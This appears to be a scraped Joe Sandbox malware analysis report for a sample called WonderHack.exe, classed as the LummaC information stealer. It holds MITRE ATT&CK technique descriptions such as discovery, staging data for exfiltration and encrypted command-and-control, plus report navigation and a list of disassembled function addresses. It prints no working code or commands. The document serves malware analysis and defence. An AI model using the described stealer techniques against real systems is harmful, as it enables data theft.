Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report WonderHack.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
WonderHack.exe

Function 00CCF19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00CB40F9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00C91890 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Function 00C98730 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477
COMMON

Function 00C91730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Function 00CACAD7 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00CBAD2D Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 00CBB506 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 00CB4C19 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00C91BA0 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Function 00CB3187 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 00CA4CF2 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Function 00CA3A58 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Function 00CA2B92 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Function 00CB41C4 Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre